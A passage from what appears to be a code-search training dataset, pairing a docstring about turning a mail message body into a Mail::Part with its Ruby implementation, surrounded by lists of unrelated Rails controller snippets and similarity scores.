"def get_bike(bikeID, userID)\n user = User.find_by(id: userID)\n authorize_time_check(user)\n response = RestClient.get('https://www.strava.com/api/v3/gear/'+bikeID, {Authorization: 'Bearer ' + user.access_token})\n bike = JSON.parse(response)\n end",
"def show\n @broad = Broad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @broad }\n end\n end",
"def show\n @bike = Bike.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bike }\n end\n end",
"def show\n @borrower = Borrower.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @borrower }\n end\n end",
"def create\n @auction = Auction.new(auction_params)\n\n respond_to do |format|\n if @auction.save\n format.html { redirect_to @auction, notice: 'Запись успешно создана.' }\n format.json { render :show, status: :created, location: @auction }\n else\n format.html { render :new }\n format.json { render json: @auction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @auction = Auction.new(params[:auction])\n\t\n\t#authorize! :read, @auction\n\t\n respond_to do |format|\n if @auction.save\n format.html { redirect_to @auction, notice: 'Auction was successfully created.' }\n format.json { render json: @auction, status: :created, location: @auction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @auction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n render(:json => Burn.find(params[:id]).as_json)\n rescue ActiveRecord::RecordNotFound\n render(:json => {error: \"no burn with that id found}\"}, :status => 404)\n end",
"def index\n \n @admins = Admin.find(:all)\n \n @merchants = Merchant.find(:all, :order => \"merchant_name\")\n \n @auctions = Auction.find(:all, :conditions => [\"auction_start <= ? and auction_end >= ? and auction_ended != ? and auction_deleted != ?\", Time.now.iso8601, Time.now.iso8601, \"1\", \"1\"], :order => \"auction_start desc\")\n \n @auctions.each do |a|\n url = URI.parse('http://beta.ayopasoft.com/AyopaServer/current-auction-info')\n post_args1 = {'auctionID' => a.auction_id}\n resp, data = Net::HTTP.post_form(url, post_args1)\n result = JSON.parse(data)\n \n a.current_price = result['current_price'] \n a.current_level = result['current_level']\n a.next_price = result['next_price']\n a.next_level = result['next_level']\n a.lowest_price = result['lowest_price']\n a.lowest_level = result['lowest_level']\n a.rebate_total = result['rebate_total']\n a.commission_total = result['commission_total']\n a.auction_total = result['auction_total']\n if a.auction_end < Time.now.iso8601 \n a.auction_expired = 1\n end\n \n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @admins }\n end\n end",
"def index\n @auction_values = Auction::Value.all\n end",
"def show\n coin = Coin.find(params[:id]) \n require 'net/http'\n url = url = \"https://api.coingecko.com/api/v3/coins/markets?vs_currency=usd&ids=#{coin.coin_api_id}&order=market_cap_desc&per_page=100&page=1&sparkline=false&price_change_percentage=1h\"\n request = URI.parse(url)\n response = Net::HTTP.get_response(request)\n crypto_hash = JSON.parse(response.body)\n coin.image = crypto_hash[0]['image']\n coin.current_price = crypto_hash[0]['current_price']\n coin.price_change_percentage_1h_in_currency = crypto_hash[0]['price_change_percentage_1h_in_currency']\n coin.high_24h = crypto_hash[0]['high_24h']\n coin.low_24h = crypto_hash[0]['low_24h']\n coin.total_volume = crypto_hash[0]['total_volume']\n coin.market_cap = crypto_hash[0]['market_cap']\n coin.market_cap_rank = crypto_hash[0]['market_cap_rank']\n coin.circulating_supply = crypto_hash[0]['circulating_supply']\n\n # Serializer\n # render json: CoinSerializer.new(coin)\n render json: coin\n end",
"def show\n @our_coin = OurCoin.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @our_coin }\n end\n end",
"def index\n @birds = Bird.where(visible: true)\n render json: @birds, status: 200\n end",
"def create\n @auction = Auction.new(params[:auction])\n @auction.phase = Auction::PHASES[:init]\n respond_to do |format|\n if @auction.save\n format.html { redirect_to @auction, notice: t('auctions.flash.notice.created') }\n format.json { render json: @auction, status: :created, location: @auction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @auction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n render json: @booking\nend",
"def items_for_bidder\n @auction_item = AuctionItem.where([\"bidderNumber = ?\", params[:id]])\n\n respond_to do |format|\n format.html # items_for_bidder.html.erb\n end \n end",
"def show\n @holding = Holding.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @holding }\n end\n end",
"def index\n @brochures = Brochure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brochures }\n end\n end",
"def create\n @auction = Auction.new(auction_params)\n @auction.seller = @user\n\n if @auction.save\n render json: @auction, status: :created, location: seller_auction_url(@auction)\n else\n render json: @auction.errors, status: :unprocessable_entity\n end\n end",
"def new\n @bid = Bid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bid }\n end\n end",
"def new\n @bid = Bid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bid }\n end\n end",
"def bird_specification\n @bird = Bird.find(params[:id])\n if @bird\n @bird = JSON.parse(@bird.to_json)\n @bird[\"id\"]=params[:id]\n render json: @bird.except(\"_id\"), status: :ok\n else\n render :nothing => true, status: :not_found\n end\n end",
"def get_brandings\n request :get, \"/v3/brandings.json\"\n end",
"def show_beer\n render json: BreweryDb::ShowBeer.new(params[:beerId]).results\n end",
"def index\n @brags = Brag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brags }\n end\n end",
"def new\n @bidding = Bidding.new\n @item = Item.find(cookies[:remember_item_token])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bidding }\n end\n end",
"def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend",
"def index\n @holdings = Holding.select(\"*, ((bid - price) * qty) as gain\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @holdings }\n end\n end",
"def index\n @biddings = Bidding.all\n end",
"def show\n @brochure = Brochure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brochure }\n end\n end",
"def show\n @brain = Brain.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brain }\n end\n end",
"def show\n @bidding = params[:bidding]\n @bid_event = BidEvent.new\n @bid_amount = @auctionable.bid_events.blank? ? @auctionable.base_price : @auctionable.bid_events.last.amount\n @participants = Participant.all\n render layout: 'application'\n end",
"def create\n \tbid_p = (params[:bid] || {}).merge({user:current_user})\n \tbegin\n\t\t @bid = @auction.bid(bid_p)\n\t\t respond_to do |format|\n\t\t if @bid.save\n\t\t format.html { redirect_to @auction, notice: t(:bid_created) }\n\t\t format.json { render json: @auction, status: :created, location: @bid }\n\t\t else\n\t\t format.html { render action: \"new\" }\n\t\t format.json { render json: @bid.errors, status: :unprocessable_entity }\n\t\t end\n\t\t end\n\t rescue Exception => e\n\t \tredirect_to @auction, notice: t(:auction_closed) if e.message == 'Auction Closed'\n\t end\n end",
"def list_ingredients\n rid = params[:id]\n items = Aws.get_ingredients_from_db(rid)\n render :json => items\n end",
"def show\n @bili = Bili.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bili }\n end\n end",
"def index\n @bills = @dwelling.bills\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end",
"def show\n @borrow_request = BorrowRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @borrow_request }\n end\n end",
"def show\n @boat = Boat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json {render json: @boat}\n end\n end",
"def show\n render json: @used_bike, serializer: Web::V1::UsedBikeSerializer\n end",
"def show\n @bid = @swarm_request.bids.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bid }\n end\n end",
"def index\n @utilized_bitcoin_wallets = UtilizedBitcoinWallet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @utilized_bitcoin_wallets }\n end\n end",
"def getbatteries\n puts params\n buildid = params[\"buildingid\"]\n\n batteries = Battery.where(:building_id => buildid)\n\n puts batteries.inspect\n puts \"#################################################\"\n \n respond_to do |format|\n format.json { render json: batteries }\n end\n end",
"def show\n @photo_booth = PhotoBooth.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo_booth }\n end\n end",
"def show\n bike = Bike.find(params[:id]);\n render json: {status: 'SUCCESS', message:'Loaded bike', data:bike}, status: :ok\n end",
"def show\n @bet = Bet.find_all_by_id(params[:id])\n # session[\"last_bet_id\"] = @bet.id\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bet }\n end\n end",
"def show\n render json: Agent.find(params[:id]).buyers\n end"
] |
[
"0.77117133",
"0.7681789",
"0.75758666",
"0.7447109",
"0.7319728",
"0.71859163",
"0.7030111",
"0.7006114",
"0.6900339",
"0.6871605",
"0.6832682",
"0.6764159",
"0.6754685",
"0.67412204",
"0.6713402",
"0.67072374",
"0.67071885",
"0.66385025",
"0.65081954",
"0.64939857",
"0.6490676",
"0.6420514",
"0.6415611",
"0.6410362",
"0.6409855",
"0.6409855",
"0.6409855",
"0.6409855",
"0.6409855",
"0.6325019",
"0.6323026",
"0.6299152",
"0.62975496",
"0.6270434",
"0.62403667",
"0.6223402",
"0.6220862",
"0.6217859",
"0.6209165",
"0.6195471",
"0.6177709",
"0.6160314",
"0.61485684",
"0.6147288",
"0.61377746",
"0.6090081",
"0.6076621",
"0.6075356",
"0.6058984",
"0.60571575",
"0.60525316",
"0.60525316",
"0.6048398",
"0.6039756",
"0.6025267",
"0.6024872",
"0.6014473",
"0.60089546",
"0.6005821",
"0.5962852",
"0.594923",
"0.594636",
"0.59414667",
"0.59281564",
"0.5926675",
"0.59252614",
"0.59114796",
"0.588315",
"0.5881555",
"0.58786595",
"0.5877665",
"0.58570397",
"0.58552426",
"0.58497745",
"0.58389753",
"0.58389753",
"0.5837997",
"0.5834426",
"0.58333135",
"0.5831111",
"0.5829337",
"0.5825951",
"0.5821725",
"0.5821339",
"0.5798223",
"0.5793851",
"0.5786941",
"0.5780737",
"0.57784504",
"0.5777769",
"0.57774156",
"0.57742393",
"0.5772983",
"0.57682437",
"0.57673484",
"0.57614154",
"0.5761193",
"0.5746901",
"0.5745803",
"0.5741575",
"0.5740956"
] |
0.0
|
-1
|
Returns a new +Mail::Part+ with the same content and MIME headers as the message passed as an argument. Although Mail gem provides +Mail::Messageconvert_to_multipart+ method, it works correctly for nonmultipart text/plain messages only. This method is more robust, and handles messages containing any content type, be they multipart or not. The message passed as an argument is not altered. TODO Copy MIME headers (ones which start with "Content") TODO Preserve ContentTransferEncoding when possible TODO Set some safe ContentTransferEncoding, like quotedprintable
|
def body_to_part(message)
part = ::Mail::Part.new
part.content_type = message.content_type
if message.multipart?
message.body.parts.each { |p| part.add_part duplicate_part(p) }
else
part.body = message.body.decoded
end
part
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(headers, body)\n content_type = headers['Content-Type']\n boundary = content_type.parameters['boundary']\n\n if boundary.nil?\n raise Malformed.new(\"Expected multipart Content-Type header to contain 'boundary' parameter\",\n 1)\n else\n @boundary = boundary.parsed_value\n boundary_tween = Regexp.new(\"--#{Regexp.escape(@boundary)}\\s*\\r\\n$\")\n boundary_last = Regexp.new(\"--#{Regexp.escape(@boundary)}--\\s*\\r\\n$\")\n end\n\n parts = []\n @preamble = []\n part_lines = []\n @epilogue = []\n state = :preamble\n\n body.each do |line|\n case state\n when :preamble\n if line =~ boundary_tween\n state = :part\n else\n @preamble << line\n end\n\n when :part\n if line =~ boundary_tween\n part_lines.last.gsub!(/[\\r\\n]+$/, '') # swallow CRLF before boundary marker\n part_lines.pop if part_lines.last.empty? # get rid of extra newline if it was present\n parts << MIME::Message.parse(part_lines, false)\n part_lines = []\n elsif line =~ boundary_last\n part_lines.last.gsub!(/[\\r\\n]+$/, '') # swallow CRLF before boundary marker\n part_lines.pop if part_lines.last.empty? # get rid of extra newline if it was present\n parts << MIME::Message.parse(part_lines, false)\n part_lines = []\n state = :epilogue\n else\n part_lines << line\n end\n\n when :epilogue\n @epilogue << line\n end\n end\n\n # Handle messages that have no epilogue\n unless part_lines.empty?\n parts << MIME::Message.parse(part_lines, false)\n end\n\n super(headers, parts)\n end",
"def receive(message)\n @message = message\n @body = Hash.new\n if @message.multipart?\n assign_body_parts(@message)\n else\n @body[@message.header[\"content-type\"].sub_type] = @message.body if \n @message.header[\"content-type\"].main_type == \"text\"\n end #if\n return self\n end",
"def convert_message(message)\n SmsSafe::Message.new(from: message.from, to: message.to, text: message.text, original_message: message)\n end",
"def convert_message(msg)\n\n $stderr.puts \"%sConverting message:\\n%s\" % \n [ $indent, msg.header.to_s.gsub(/^/, $indent+' ') ] if $DEBUG\n\n # Text/plain messages are subject to conversion\n case msg.header.content_type\n when nil, %r{^text/plain}, %r{^message/rfc822}\n $stderr.puts \"%sThis is a text/plain message\" % [ $indent ] if $DEBUG\n\n # Start by doing PGP ... if this matches then we don't want to\n # mess with uuencoded stuff because that would break the signature\n nmsg = convert_pgp(msg)\n nmsg = convert_uu(msg) unless nmsg\n msg = nmsg if nmsg\n end\n\n # Multi-part messages are converted part by part, depth-first.\n # Note this could be acting on a converted text/plain message from\n # above, which is good, because it means we'll fix the\n # Content-Length and Lines headers (as well as convert embedded\n # message, but what are the chances of that?)\n if msg.multipart?\n\n # Convert each part\n unless msg.header.content_type =~ %r{^multipart/signed}\n # Create the new message. Start by duplicating the headers. \n nmsg = RMail::Message.new\n nmsg.header.replace(msg.header.dup)\n nmsg.preamble, nmsg.epilogue = msg.preamble, msg.epilogue\n\n $indent << ' ' # for $DEBUG\n msg.each_part { |part| nmsg.add_part(convert_message(part)) }\n $indent[0,2] = '' # for $DEBUG\n\n # This is now the message\n msg = nmsg\n end\n\n # Add length headers; requires serializing at this point\n s = msg.to_s # this is the full serialized message\n h = msg.header.to_s\n content_length = s.length - h.length - 1\n if content_length > 0\n msg.header.set('Content-Length', content_length.to_s)\n lines = s.count(\"\\n\") - h.count(\"\\n\") - 1\n msg.header.set('Lines', lines.to_s)\n end\n end\n\n return msg\nend",
"def condense(message)\n if message.multipart? && message.parts.any?(&:multipart?)\n # Get the message parts as a flat array.\n result = flatten(Mail.new, message.parts.dup)\n\n # Rebuild the message's parts.\n message.parts.clear\n\n # Merge non-attachments with the same content type.\n (result.parts - result.attachments).group_by(&:content_type).each do |content_type,group|\n body = group.map{|part| part.body.decoded}.join\n\n # Make content types match across all APIs.\n if content_type == 'text/plain; charset=us-ascii'\n # `text/plain; charset=us-ascii` is the default content type.\n content_type = 'text/plain'\n elsif content_type == 'text/html; charset=us-ascii'\n content_type = 'text/html; charset=UTF-8'\n body = body.encode('UTF-8') if body.respond_to?(:encode)\n end\n\n message.parts << Mail::Part.new({\n :content_type => content_type,\n :body => body,\n })\n end\n\n # Add attachments last.\n result.attachments.each do |part|\n message.parts << part\n end\n end\n\n message\n end",
"def transform(params)\n case @http_post_format\n when 'parsed', '', nil\n # Mail changes `self`.\n headers = self.class.multimap(JSON.load(params['message-headers']))\n this = self\n\n message = Message::Mailgun.new do\n headers headers\n\n # The following are redundant with `body-mime` in raw MIME format\n # and with `message-headers` in fully parsed format.\n #\n # from params['from']\n # sender params['sender']\n # to params['recipient']\n # subject params['subject']\n #\n # Mailgun POSTs all MIME headers both individually and in\n # `message-headers`.\n\n text_part do\n body params['body-plain']\n end\n\n if params.key?('body-html')\n html_part do\n content_type 'text/html; charset=UTF-8'\n body params['body-html']\n end\n end\n\n if params.key?('attachment-count')\n 1.upto(params['attachment-count'].to_i) do |n|\n attachment = params[\"attachment-#{n}\"]\n add_file(this.class.add_file_arguments(attachment))\n end\n end\n end\n\n # Extra Mailgun parameters.\n if params.key?('stripped-text') && !params['stripped-text'].empty?\n message.stripped_text = params['stripped-text']\n end\n if params.key?('stripped-signature') && !params['stripped-signature'].empty?\n message.stripped_signature = params['stripped-signature']\n end\n if params.key?('stripped-html') && !params['stripped-html'].empty?\n message.stripped_html = params['stripped-html']\n end\n if params.key?('content-id-map') && !params['content-id-map'].empty?\n message.content_id_map = params['content-id-map']\n end\n\n # @todo Store non-plain, non-HTML body parts.\n # params.keys.select do |key|\n # key[/\\Abody-(?!html|plain)/]\n # end\n\n [message]\n when 'raw'\n message = self.class.condense(Message::Mailgun.new(Mail.new(params['body-mime'])))\n [message]\n else\n raise ArgumentError, \"Can't handle Mailgun #{@http_post_format} HTTP POST format\"\n end\n end",
"def import_base_message(mail)\n \n list = determine_list( mail.header )\n \n if ( ! list )\n return\n end\n\n message_id822 = mail.get_header_value( 'Message-ID' )\n\n #Message-ID is semi-mandatory as per RFC-1036. \n #Unfortunately some messages have invalid Message-Ids; and they do get sent to the list; so we *DO* \n #want to archive them rather than simply ignoring them.\n if message_id822 == nil or message_id822.strip == ''\n message_id822 = Message.synthetic_message_id822('archive.codehaus.org', mail.date, mail.get_header_value('Subject'))\n logger.warn { \" No valid Message-ID, synthesized: #{message_id822}\" }\n else\n logger.info { \" Found Message-ID: #{message_id822}\" }\n end\n \n message_id822 = strip_message_id822( message_id822 )\n \n message = Message.find_by_list_id_and_message_id822(list.id, message_id822)\n if not requires_load?(message, message_id822)\n logger.info { \" Skipping reimport of message with Message-ID: #{message_id822}\" }\n return message\n end\n \n if not message\n logger.info { \" Importing message with Message-ID: #{message_id822}\" }\n message = Message.new\n message.message_id822 = message_id822\n else\n logger.info { \" Reimporting message #{message_id822}\" }\n #Clear foreign keys of dependent objects that are about to be deleted\n if message.content_part_id\n message.content_part_id = nil\n message.save!\n end\n\n for part in message.parts\n Part.destroy(part.id)\n end\n \n MessageReference.delete_all(\"message_id = #{message.id}\")\n end\n \n #Now initialize the message\n message.list = list\n message.subject = mail.get_header_value('Subject')\n message.process_from_header( mail.get_header_value('From') )\n message.sent_at = mail.date\n message.indexed = false\n message.in_reply_to_message_id822 = strip_message_id822(mail.get_header_value( 'In-Reply-To' ) )\n \n for reference in mail.references\n msg_ref = MessageReference.new\n msg_ref.referenced_message_id822 = reference\n message.message_references << msg_ref \n end \n \n message.save!\n \n return message\n end",
"def process_message_body\n @attachments = []\n if @mail.multipart?\n @body, @html = [], []\n scan_parts(@mail)\n @body = @body.join(\"\\n\")\n @html = @html.join(\"\\n\")\n else\n if @mail.content_type =~ /text\\/html/\n @html = @mail.body.to_s\n @body = ''\n else\n @body = @mail.body.to_s\n @html = ''\n end\n end\n\n @body = convert_to_utf8(@body)\n @html = convert_to_utf8(@html)\n end",
"def decode_multipart\n return unless multipart?\n part_of_parts = Part.new(:headers => http.headers, :body => http.body)\n part_of_parts.body.split!(boundary)\n self.parts = part_of_parts.parts\n end",
"def message_as_content(params)\n begin\n \n raw_message = \"From: #{params[:sender_email]}\\nTo: #{params[:recipient]}\\nSubject: #{params[:subject].to_s}\\n\\n #{params[:content].to_s}\"\n result = @mandrill.messages.parse raw_message\n # {\"subject\"=>\"Some Subject\",\n # \"headers\"=>{\"Reply-To\"=>\"replies@example.com\"},\n # \"images\"=>\n # [{\"content\"=>\"ZXhhbXBsZSBmaWxl\", \"name\"=>\"IMAGEID\", \"type\"=>\"image/png\"}],\n # \"text\"=>\"Some text content\",\n # \"to\"=>[{\"name\"=>\"Recipient Name\", \"email\"=>\"recipient.email@example.com\"}],\n # \"from_name\"=>\"Sender Name\",\n # \"html\"=>\"Some HTML content\",\n # \"from_email\"=>\"sender@example.com\",\n # \"attachments\"=>\n # [{\"content\"=>\"example non-binary content\",\n # \"name\"=>\"example.txt\",\n # \"binary\"=>false,\n # \"type\"=>\"text/plain\"}]}\n\n rescue Mandrill::Error => e\n # Mandrill errors are thrown as exceptions\n puts \"A mandrill error occurred: #{e.class} - #{e.message}\"\n # A mandrill error occurred: Mandrill::InvalidKeyError - Invalid API key\n raise\n end\n end",
"def create_message_from_message_internal(raw_message)\n Message.new(raw_message)\n end",
"def get_mms_message\n #encoded=Base64.encode64(s)\n return self.build_MMS_message(self.content)\n end",
"def message\n @message ||= Mail.new(@rfc822)\n end",
"def initialize str, ignore_body=false\n \t\theaders, @body = $~[1..-1] if str[/(.*?\\r?\\n)(?:\\r?\\n(.*))?\\Z/m]\n\n \t\t@headers = Hash.new { |hash, key| hash[key] = [] }\n \t\t@body ||= ''\n \t\theaders.to_s.scan(/^\\S+:\\s*.*(?:\\n\\t.*)*/).each do |header|\n \t\t\t@headers[header[/(\\S+):/, 1]] << header[/\\S+:\\s*(.*)/m, 1].gsub(/\\s+/m, ' ').strip # this is kind of wrong\n \t\tend\n\n \t\t# don't have to have content type i suppose\n \t\t@content_type, attrs = nil, {}\n \t\tif content_type = @headers['Content-Type'][0]\n \t\t\t@content_type, attrs = Mime.split_header content_type\n \t\tend\n\n \t\treturn if ignore_body\n\n \t\tif multipart?\n \t\t\tif body.empty?\n \t\t\t\t@preamble = ''\n \t\t\t\t@epilogue = ''\n \t\t\t\t@parts = []\n \t\t\telse\n \t\t\t\t# we need to split the message at the boundary\n \t\t\t\tboundary = attrs['boundary'] or raise \"no boundary for multipart message\"\n\n \t\t\t\t# splitting the body:\n \t\t\t\tparts = body.split(/--#{Regexp.quote boundary}/m)\n \t\t\t\tunless parts[-1] =~ /^--/; warn \"bad multipart boundary (missing trailing --)\"\n \t\t\t\telse parts[-1][0..1] = ''\n \t\t\t\tend\n \t\t\t\tparts.each_with_index do |part, i|\n \t\t\t\t\tpart =~ /^(\\r?\\n)?(.*?)(\\r?\\n)?\\Z/m\n \t\t\t\t\tpart.replace $2\n \t\t\t\t\twarn \"bad multipart boundary\" if (1...parts.length-1) === i and !($1 && $3)\n \t\t\t\tend\n \t\t\t\t@preamble = parts.shift\n \t\t\t\t@epilogue = parts.pop\n \t\t\t\t@parts = parts.map { |part| Mime.new part }\n \t\t\tend\n \t\tend\n \tend",
"def message\n\t return @message if @message\n require 'mail'\n _body = @gmail.in_mailbox(@mailbox) { @gmail.imap.uid_fetch(uid, \"RFC822\")[0].attr[\"RFC822\"] }\n @message ||= Mail.new(_body)\n end",
"def to_multipart\n return %(Content-Disposition: form-data; name=\"#{key}\"; filename=\"#{filename}\"\\r\\n) + \"Content-Type: #{MIME::Types.type_for(@filename)}\\r\\n\\r\\n\" + content + \"\\r\\n\"\n end",
"def mime_part\n message.mime_part\n end",
"def mime_content_for mime_part, preferred_type\n return \"\" unless mime_part.body # sometimes this happens. not sure why.\n\n mt = mime_type_for(mime_part) || \"text/plain\" # i guess\n content_type = if mt =~ /^(.+);/ then $1.downcase else mt end\n source_charset = if mt =~ /charset=\"?(.*?)\"?(;|$)/i then $1 else \"US-ASCII\" end\n\n content = mime_part.decode\n converted_content, converted_charset = if(converter = CONVERSIONS[[content_type, preferred_type]])\n send converter, content, source_charset\n else\n [content, source_charset]\n end\n\n if content_type =~ /^text\\//\n Decoder.transcode \"utf-8\", converted_charset, converted_content\n else\n converted_content\n end\n end",
"def parse_message\n header_part, body_part = raw_source.lstrip.split(HEADER_SEPARATOR, 2)\n self.header = header_part\n self.body = body_part\n end",
"def duplicate\n dup_frames = @msg_frames.map {|frame| frame.dup}\n ZMQ::StringMultipartMessage.new(dup_frames)\n end",
"def scan_parts(message)\n message.parts.each do |part|\n if part.multipart?\n scan_parts(part)\n else\n case part.content_type\n when /text\\/plain/\n @body << part.body.to_s\n when /text\\/html/\n @html << part.body.to_s\n else\n att = Attachment.new(part)\n @attachments << att if att.attached?\n end\n end\n end\n end",
"def new_message_with_media(params = {})\n response = post('secret_mails/new_with_media.json', params)\n Croudia::Object::SecretMail.new(response)\n end",
"def copy_attributes_from_raw_message\n if self.raw_message\n self.subject = self.headers['subject']&.last\n self.message_id = self.headers['message-id']&.last\n if self.message_id\n self.message_id = self.message_id.gsub(/.*</, '').gsub(/>.*/, '').strip\n end\n end\n end",
"def duplicate\n dup_frames = @msg_frames.map {|frame| frame.duplicate}\n ZMQ::RawMultipartMessage.new(dup_frames)\n end",
"def mime_content_for mime_part, preferred_type\n return \"\" unless mime_part.body # sometimes this happens. not sure why.\n\n content_type = mime_part.fetch_header(:content_type) || \"text/plain\"\n source_charset = mime_part.charset || \"US-ASCII\"\n\n content = mime_part.decoded\n converted_content, converted_charset = if(converter = CONVERSIONS[[content_type, preferred_type]])\n send converter, content, source_charset\n else\n [content, source_charset]\n end\n\n if content_type =~ /^text\\//\n Decoder.transcode \"utf-8\", converted_charset, converted_content\n else\n converted_content\n end\n end",
"def append_boundary(headers, content)\n content_type = headers.dig(:content_type)\n charset = get_charset_name(get_char_set(content_type || @default_charset))\n encoding = headers.dig(\"Content-Transfer-Encoding\")\n\n if encoding.instance_of? (String)\n encoding = encoding.downcase\n end\n\n if encoding.instance_of?(Base64)\n if content_type.index \"gbk\"\n content = Base64.decode64(content)\n else\n content = Base64.decode64(content.gsub(/\\r?\\n/, ''))\n end\n elsif encoding == 'quoted-printable'\n content = unquote_printable(content, charset)\n elsif charset != \"utf8\" && ((encoding.start_with? (\"binary\")) || (encoding.start_with? (\"8bit\")))\n content = Base64.decode64(content, charset)\n end\n\n if !result.dig(:html) && content_type && (content_type.index \"text/html\")\n if content.instance_of? (String)\n content = Base64.decode64(content, charset)\n end\n result[:html] = content\n elsif !result.dig(:text) && content_type && (content_type.index \"text/plain\")\n if content.instance_of? (String)\n content = Base64.decode64(content, charset)\n end\n result[:text] = content\n else\n if !result.attachment\n result[:attachments] = []\n end\n\n attachment = {}\n\n id = headers.dig(\"Content-ID\")\n if id\n attachment[:id] = id\n end\n\n name = headers[\"Content-Disposition\"] || headers[\"Content-Type\"]\n\n if name\n match = name.match(/name=\"?(.+?)\"?$/)\n if match\n name = match[1]\n else\n name = nil\n end\n end\n\n if name\n attachment[:name] = name\n end\n\n ct = headers[\"Content-Type\"]\n\n if ct\n attachment[:content_type] = ct\n end\n\n cd = headers[\"Content-Disposition\"]\n\n if cd\n attachment[:inline] = cd.match(/^\\s*inline/)\n end\n\n attachment[:data] = content\n result[:attachments].push(attachment)\n end\n result\n end",
"def to_mail\n mail = Mail.new\n unless(headers.nil?)\n mail.received headers['Received']\n mail.content_type headers['Content-Type']\n mail.content_transfer_encoding headers['Content-Transfer-Encoding']\n end\n mail.date date_time_sent unless date_time_sent.nil?\n mail.message_id internet_message_id unless internet_message_id.nil?\n mail.in_reply_to in_reply_to unless in_reply_to.nil?\n mail.references references unless references.nil?\n mail.subject subject unless subject.nil?\n mail.return_path = sender.email_address unless(sender.nil? || ! sender.respond_to?(:email_address))\n mail.to to_recipients.map {|r| r.email_address if r.respond_to?(:email_address) } unless to_recipients.nil?\n mail.cc cc_recipients.map {|r| r.email_address if r.respond_to?(:email_address) } unless cc_recipients.nil?\n mail.from from.email_address unless(from.nil? || ! from.respond_to?(:email_address))\n # Because the mail gem does not pass an object to the block there are some issues with using self\n msg = self\n if(body_type == \"HTML\")\n mail.html_part do\n body msg.body\n end\n mail.text_part do\n body Nokogiri::HTML(msg.body).content\n end\n else\n mail.text_part do\n body msg.body\n end\n end\n\n # add attachments\n if(self.has_attachments?)\n self.attachments.each do |att|\n if(att.is_a?(FileAttachment))\n mail.attachments[att.file_name] = Base64.decode64(att.content)\n end\n end\n end\n mail\n end",
"def extract_mail_body(mail)\n if mail.multipart?\n # Try to find an HTML part.\n part = find_mail_part(mail, ['text/html', 'text/plain'])\n if part.nil?\n '<em>Nachricht kann leider nicht angezeigt werden.</em>'\n else\n mail_html = sanitize_mail part\n if part.content_type == 'text/plain'\n \"<div class='text-mail'>#{mail_html}</div>\"\n else\n mail_html\n end\n \n end\n else\n sanitize_mail mail\n end\n end",
"def create_mms_content(content)\n result = \"\"\n # original ------=_Part_0_24807938.1166753497728\n #original Content-Type: text/xml; charset=UTF-8\n #original Content-Transfer-Encoding: quoted-printable\n # soap_header_part = self.header_part\n \n content.each { |content| \n \tcontent_msg = <<EOF__RUBY_END_OF_MESSAGE\n \t\n#{self.multi_part_header}\nContent-Type: #{content[:mimetype]}; name=#{content[:name]}\nContent-Transfer-Encoding: #{content[:encoding]}\nContent-Disposition: attachment; filename=#{content[:filename]}\nContent-ID: <#{content[:cid]}>\n\n#{content[:value]} \n\nEOF__RUBY_END_OF_MESSAGE\n # puts \"building message #{sms_msg}\"\n result << \"#{content_msg}\" \n } if content !=nil\n result \nend",
"def add_part(part)\n if !body.multipart? && !self.body.decoded.blank?\n @text_part = Mail::Part.new('Content-Type: text/plain;')\n @text_part.body = body.decoded\n self.body << @text_part\n add_multipart_alternate_header\n end\n add_boundary\n self.body << part\n end",
"def process(message)\n return message unless good_message(message)\n\n text = message[:text]\n group = message[:group]\n attachments = message[:attachments]\n\n @client.create_message group.split('/').last, (text || ''),\n convert_attachments(attachments)\n\n message\n end",
"def multipart_file(file)\n filename = File.basename(file)\n mime_type = MimeMagic.by_path(filename).type\n return UploadIO.new(file, mime_type, filename)\n end",
"def format_message\n message = Message.new\n\n message.id = @id\n message.text = @raw_data['text'] ||= ''\n media = @raw_data['media']\n message.type = media ? media['type'] : 'text'\n message.raw_from = @raw_data['from']['peer_id']\n message.from_type = @raw_data['from']['peer_type']\n message.raw_to = @raw_data['to']['peer_id']\n message.to_type = @raw_data['to']['peer_type']\n\n from = @client.contacts.find { |c| c.id == message.raw_from }\n to = @client.contacts.find { |c| c.id == message.raw_to }\n to = @client.chats.find { |c| c.id == message.raw_to } if to.nil?\n\n message.from = from\n message.to = to\n\n @message = message\n\n if @message.from.nil?\n user = @raw_data['from']\n user = TelegramContact.pick_or_new(@client, user)\n @client.contacts << user unless @client.contacts.include?(user)\n @message.from = user\n end\n\n if @message.to.nil?\n type = @raw_data['to']['peer_type']\n case type\n when 'chat', 'encr_chat'\n chat = TelegramChat.pick_or_new(@client, @raw_data['to'])\n @client.chats << chat unless @client.chats.include?(chat)\n 